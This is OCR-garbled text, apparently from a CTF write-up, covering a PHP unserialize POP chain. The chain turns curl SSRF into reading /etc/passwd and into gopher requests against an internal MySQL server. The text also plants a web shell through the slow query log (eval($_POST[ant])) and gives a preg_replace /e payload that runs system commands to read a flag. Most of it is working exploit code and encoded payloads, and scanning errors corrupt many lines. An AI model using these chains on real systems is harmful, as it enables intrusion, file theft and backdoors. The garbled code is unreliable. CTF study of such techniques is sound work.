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| ] ] __toString(){

$ch = curl_init();

curl setopt($ch, CURLOPT URL, % -»url);
curl setopt($ch, CURLOPT_HEADER, ©);

$res curl_exec($ch);

echo $res;

curl close($ch);
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type="radio” name="hard" value=

unserialize($ GET['a"']);

iF($_POST[ "hard"] == "low"){

$rows = 18;
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<?php

class User

public $username

public $password

public $time

public $best time

public $error = "Usage error!"
public function __ invoke

echo $this->error

class net_test

public $url

public function _ toString

$ch = curl init

curl setopt($ch, CURLOPT_URL, $this->url
curl setopt($ch, CURLOPT_HEADER, ©

$res = curl_exec($ch

echo $res

curl close($ch

public function _ wakeup

$black list = "/file|3306|base|fil|proc|env/i"
if(preg match($black list, $this->url
$this->url = "127.0.0.1"

class Game

public $a

public function _ destruct
$a = $this->a

$a

$game = new Game

$user = new User

$net = new net_ test

$net->url = 'file:///etc/passwd’
$user->error = $net

$game->a = $user

echo urlencode(serialize($game

?>
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func 1 __ wakeup(){
$black list = "/file|3306|base
if(preg match($black list, %thi
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?a=0%3A4%3A%22Game%22%3A2%3A%7Bs%3A1%3A%22a%22%3B0%3A4%3A%22User%22%3
A5%3A%7Bs%3A8%3A%22username%22%3BN%3Bs%3A8%3A%22password%22%3BN%3Bs%3A
A4%3A%22time%22%3BN%3Bs%3A9%3A%22best_time%22%3BN%3Bs%3A5%3A%22error%22%3
BO%3A8%3A%22net_test%22%3A1%3A%7Bs%3A3%3A%22ur1%22%3Bs%3A18%3A%22file%3A%
2F%2F%2Fetc%2Fpasswd%22%3B%7D%7D%7D
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P47 select user();
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gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%  {%01%00%007%007%01%21%007%007%00%0
0%00%007%007,00%00%007%00700%00%007%00700%00%007%007%00%00%00%00%7 2%6 %6 %7
4%00%00%6d%79%73%71%6 C%51%6e%61%74%69%76%65%5F%70%61%73%7 3%77%61%7 2%6
4%00%66%03%5T%61%73%05%4C%69%6e%75%78%0c%5T%63%6C%69%65%6%74%5%6e%61
%6d7%65%08%6 C%69%62%6d%79%7 3%71%6 CHOA%5T%70%69%64%05%32%37%32%35%35%0
%51%63%6C%69%65%6e%74%51%76%65%72%73%69%61%6e%06%35%2e%37%2e%32%32%09
%51%70%6C%61%74%66%6T%72%6d%06%78%38%36%5F%36%34%0C%70%72%61%67%7 2%61%
6d%51%6e%61%6d%65%05%6d%79%73%71%6 c%0T%00%00%00%03%7 3%65%6 C%65%63%7 4%
20%75%73%65%72%28%29%3b%01%00%00%007%01

" Ji payload



?a=0%3A4%3A%22Game%22%3A1%3A%7Bs%3A1%3A%22a%22%3B0%3A4%3A%22User%22%3
AS5%3A%7Bs%3A8%3A%22username%22%3BN%3Bs%3A8%3A%22password%22%3BN%3Bs%3A
4%3A%22time%22%3BN%3Bs%3A9%3A%22best_time%22%3BN%3Bs%3A5%3A%22error%22%3
BO%3A8%3A%22net_test%22%3A1%3A%7Bs%3A3%3A%22ur1%22%3Bs%3A598%3A%22gopher
%3A%2F%2F127.0.0.1%3A3306%2F_%25a3%2500%2500%2501%2585%25a6%25f1%2501%2500
%2500%2500%2501%2521%2500%25007%25007%25007%2500%2500%2500%2500%25007%2500%
2500%2500%25007%25007%25007%2500%2500%25007%2500%2500%2500%2500%2500%2572%25
6F%2561%2574%2500%2500%256d%2579%2573%2571%256C%2551%256e%2561%2574%2569%
2576%2565%2551%2570%2561%2573%2573%2577%2561%2572%2564%2500%2566%2503%255
%2561%2573%2505%254c%2569%256€%2575%2578%250¢%2551%2563%256C%2569%2565%2
56e%2574%255%256€%2561%256d%2565%2508%256¢%2569%2562%256d%2579%2573%257
1%256¢%2504%255F%2570%2569%2564%2505%2532%2537%2532%2535%2535%250%2551%2
563%256%2569%2565%256€%2574%2551%2576%2565%2572%2573%2569%2561%256€%2506
%2535%252e%2537%252e%2532%2532%2509%2551%2570%256%2561%2574%2566%256F%2
572%256d%2506%2578%2538%2536%2551%2536%2534%250C%2570%2572%2561%2567%2572
%2561%256d%2551%256€%2561%256d%2565%2505%256d%2579%2573%2571%256¢%2501%2
500%2500%25007%2503%2573%2565%256%2565%2563%2574%2520%2575%2573%2565%257
2%2528%2529%253b%2501%2500%2500%2500%2501%22%3B%7D%7D%7D
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Set global slow_query_log=1;

set global slow_query_log file='/var/www/html/xxx.php";

select '<?php eval($_POST[ant])?>" or sleep(13);
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o
HTTP/1.1 200 OK Date: Sun, 22 Nov 2020 08:41:14 GMT
Server: Apache/2 4 10 (Debian) X-Powered-By: PHP/5.5 38
vary: Accept-Encoding Content-Length: 1778 Content-Type:
text/ntml <2php
highlight_file(_ FILE_ );
error_reporting(e);
$content = § POST['x'];
if(preg match('/(system)|(passthru)|(exec)|(shell exec)|

(proc_open) | (popen)/fi", $content)) {
die(”
kscriptralert( 'Hacker! ') ;window.location.href="index.php'; Play {65:56___W
</script>™);
$content = preg replace(

(([e-9])(.*2)\1)e",
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'strtoupper(™\\2") ",
$content

L
73

L ekl s e AT
> CSDMN @blackecdt

W12 f\e BT a AT IR, A0S ] 5 A AT LA AT 22 R SR
BLA$_POST geid id i

x=1{${eval($_POST[2])}}1&2=system('1ls");
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?a=0%3A4%3A%22Game%22%3A1%3A%7Bs%3A1%3A%22a%22%3B0%3A4%3A%22User%22%3
A5%3A%7Bs%3A8%3A%22username%22%3BN%3Bs%3A8%3A%22password%22%3BN%3Bs%3A
A4%3A%22time%22%3BN%3Bs%3A9%3A%22best_time%22%3BN%3Bs%3A5%3A%22error%22%3
B0%3A8%3A%22net_test%22%3A1%3A%7Bs%3A3%3A%22url1%22%3Bs%3A237%3A%22gopher
%3A%2F%2F10.10.10.32%3A80%2F POST%2520%2Findex.php%2520HTTP%2F1.1%250d%250AH
0st%3A10.10.10.32%250d%250AContent-Type%3Aapplication¥%2Fx-www-form-urlencoded’%250
d%250AContent-Length%3A47%250d%250A%250d%250AXx%3D1%257B%2524%257Beval%28%2

524 POST%255B2%255D%29%257D%257D1%262%3Dsystem%28%27cat%2520%252Ff1ag%27%
29%253B%250d%250A%22%3B%7D%7D%7D
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